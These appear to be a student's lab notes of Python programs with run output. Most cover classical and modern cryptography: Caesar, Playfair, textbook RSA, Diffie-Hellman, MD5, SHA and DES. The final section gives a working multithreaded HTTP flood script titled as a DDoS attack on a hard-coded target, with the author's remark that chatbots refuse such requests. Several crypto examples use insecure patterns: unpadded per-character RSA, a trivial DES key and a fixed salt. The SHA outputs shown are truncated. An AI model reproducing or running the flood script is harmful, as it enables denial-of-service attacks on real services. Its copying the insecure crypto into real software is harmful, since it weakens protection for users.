Write a program to implement the Caesar cipher using Substitution technique.

```
def caesar_cipher(text, shift):
    return ''.join(chr((ord(c) - 97 + shift) % 26 + 97) if c.islower()
else c for c in text)

text = "kedardamale"
shift = 3
print(caesar_cipher(text, shift))
```

```
[Running] python -u "c:\Users\SHREE\Desktop\awd\viva.py"
nhgdugdpdoh
```

Write a program to implement the Playfair cipher using Substitution technique.

```
import numpy as np

def playfair_cipher(text, key):
    key = ''.join(sorted(set(key.replace('J', 'I')), key=key.index))
    alphabet = 'ABCDEFGHIKLMNOPQRSTUVWXYZ'
    key += ''.join(filter(lambda c: c not in key, alphabet))

    matrix = np.array(list(key)).reshape(5, 5)

    def get_pos(char):
        pos = np.argwhere(matrix == char)
        return pos[0] if pos.size else None

    def encode_pair(a, b):
        pos_a, pos_b = get_pos(a), get_pos(b)
        if pos_a is None or pos_b is None:
            return a + b
        if pos_a[0] == pos_b[0]:
            return matrix[pos_a[0], (pos_a[1] + 1) % 5] + matrix[pos_b[0],
(pos_b[1] + 1) % 5]
        if pos_a[1] == pos_b[1]:
            return matrix[(pos_a[0] + 1) % 5, pos_a[1]] + matrix[(pos_b[0] + 1) %
5, pos_b[1]]
        return matrix[pos_a[0], pos_b[1]] + matrix[pos_b[0], pos_a[1]]

    text = text.replace('J', 'I').upper().replace(' ', '')
    if len(text) % 2 != 0:
        text += 'X'
    return ''.join(encode_pair(a, b) for a, b in zip(text[::2], text[1::2]))

text = "KedarDamale"
key = "KEYWORD"
print(playfair_cipher(text, key))
```

```
[Running] python -u "c:\Users\SHREE\Desktop\awd\viva.py"
EYABDARPCHWU

[Done] exited with code=0 in 0.052 seconds
```

Write a program to implement the RSA algorithm

pip install pycryptodome

```
from Crypto.Util.number import getPrime, inverse
import random

def generate_keypair(bits=1024):
    p = getPrime(bits)
    q = getPrime(bits)
    n = p * q
    phi = (p - 1) * (q - 1)
    e = 65537
    d = inverse(e, phi)
    return ((e, n), (d, n))

def encrypt(public_key, plaintext):
    e, n = public_key
    cipher = [pow(ord(char), e, n) for char in plaintext]
    return cipher

def decrypt(private_key, ciphertext):
    d, n = private_key
    plain = [chr(pow(char, d, n)) for char in ciphertext]
    return ''.join(plain)

public_key, private_key = generate_keypair()
message = "KedarDamale"

encrypted_message = encrypt(public_key, message)
decrypted_message = decrypt(private_key, encrypted_message)

print(f"Original message: {message}")
print(f"Encrypted message: {encrypted_message}")
print(f"Decrypted message: {decrypted_message}")
```

```
[Running] python -u "c:\Users\SHREE\Desktop\awd\viva.py"
Original message: KedarDamale
Encrypted message:
[120272769566139178944088881578279587132165625622917238980211056945306606622027159638330634437307058375719016965865070441143326964561602871839945954369343734643152770969587903270183691205450519752880896191083876203535566464019332450366702412304469001545556127969564324182893813180140936614032018402114804253953853080589970916712582832548291444472,
789542362707869665103859547466607020289619053309763385637240543680844209368871650739409980404348086745203753281547497733698721191762844710327943862345404441011306447433296241315467465982008467212012160136628780309211662313357499737359061514878847280030234143404232677122290019033230967944900613984454053080784175137551957868083996947403173 9762,
```

Write a program to implement the Diffie-Hellman Key Exchange algorithm

pip install cryptography

```
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import dh
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt

parameters = dh.generate_parameters(generator=2, key_size=2048,
backend=default_backend())

kedar_private_key = parameters.generate_private_key()
damale_private_key = parameters.generate_private_key()

kedar_public_key = kedar_private_key.public_key()
damale_public_key = damale_private_key.public_key()

kedar_shared_key = kedar_private_key.exchange(damale_public_key)
damale_shared_key = damale_private_key.exchange(kedar_public_key)

def derive_key(shared_key):
    kdf = Scrypt(salt=b'salt', length=32, n=2**14, r=8, p=1,
backend=default_backend())
    return kdf.derive(shared_key)

kedar_symmetric_key = derive_key(kedar_shared_key)
damale_symmetric_key = derive_key(damale_shared_key)

print(f"Kedar's Symmetric Key: {kedar_symmetric_key.hex()}")
print(f"Damale's Symmetric Key: {damale_symmetric_key.hex()}")
```

```
[Running] python -u "c:\Users\SHREE\Desktop\awd\viva.py"
Kedar's Symmetric Key: b559b187897e47b31b852de392c44d1282a7a2e28c4636ed41b74731146cce79
Damale's Symmetric Key: b559b187897e47b31b852de392c44d1282a7a2e28c4636ed41b74731146cce79
```

Write a program to implement MD5 algorithm.

```
import hashlib

def md5_hash(text):
   md5 = hashlib.md5()
   md5.update(text.encode('utf-8'))
   return md5.hexdigest()

text = "KedarDamale"
md5_result = md5_hash(text)
print(f"MD5 Hash of '{text}': {md5_result}")
```

```
[Running] python -u "c:\Users\SHREE\Desktop\awd\viva.py"
MD5 Hash of 'KedarDamale': 664d2c282f7425fc5c0e31ebce7c3cb4
```

Write a program to implement SHA 384 and SHA512 algorithm.

```
import hashlib

def sha384_hash(text):
    sha384 = hashlib.sha384()
    sha384.update(text.encode('utf-8'))
    return sha384.hexdigest()

def sha512_hash(text):
    sha512 = hashlib.sha512()
    sha512.update(text.encode('utf-8'))
    return sha512.hexdigest()

text = "KedarDamale"
sha384_result = sha384_hash(text)
sha512_result = sha512_hash(text)

print(f"SHA-384 Hash of '{text}': {sha384_result}")
print(f"SHA-512 Hash of '{text}': {sha512_result}")
```

```
[Running] python -u "c:\Users\SHREE\Desktop\awd\viva.py"
SHA-384 Hash of 'KedarDamale': 36c2abe6ef974214a43d53008b0a327aab
SHA-512 Hash of 'KedarDamale': 28ac84506c457c6d2261dbfe7b8583b7c9

[Done] exited with code=0 in 0.054 seconds
```

Write a program to implement DES algorithm

```
pip install pycryptodome

from Crypto.Cipher import DES

from Crypto.Util.Padding import pad, unpad
import binascii

def des_encrypt(plaintext, key):
    cipher = DES.new(key, DES.MODE_CBC)

    padded_plaintext = pad(plaintext.encode('utf-8'), DES.block_size)

    ciphertext = cipher.encrypt(padded_plaintext)
```

```
    return binascii.hexlify(cipher.iv + ciphertext).decode('utf-8')

def des_decrypt(ciphertext_hex, key):
    ciphertext = binascii.unhexlify(ciphertext_hex)

    iv = ciphertext[:DES.block_size]
    ciphertext = ciphertext[DES.block_size:]

    cipher = DES.new(key, DES.MODE_CBC, iv)

    padded_plaintext = cipher.decrypt(ciphertext)

    plaintext = unpad(padded_plaintext, DES.block_size).decode('utf-8')

    return plaintext

key = b'abcdefgh'
plaintext = "KedarDamale"

ciphertext = des_encrypt(plaintext, key)
print(f"Encrypted: {ciphertext}")

decrypted_text = des_decrypt(ciphertext, key)
print(f"Decrypted: {decrypted_text}")
```

```
[Running] python -u "c:\Users\SHREE\Desktop\awd\viva.py"
Encrypted: 77491b9a66150f510bdb2b7cf94da342b3cfe202461da8fb
Decrypted: KedarDamale
```

Write a program to implement the DDOS attack

(

*******IMP note*******

This program id tested but I'm not sure if it's the correct one as ChatGPT and others don't provide information about illegal things

There are no errors

)

```
import socket
import threading

target = '10.0.0.138'
fake_ip = '182.21.20.32'
port = 80

attack_num = 0

def attack():
    global attack_num
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))

            s.sendto(("GET / HTTP/1.1\r\n").encode('ascii'), (target, port))
            s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))

            attack_num += 1
            print(f"Attack number: {attack_num}")

            s.close()
        except Exception as e:
            print(f"An error occurred: {e}")
            break

for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()
```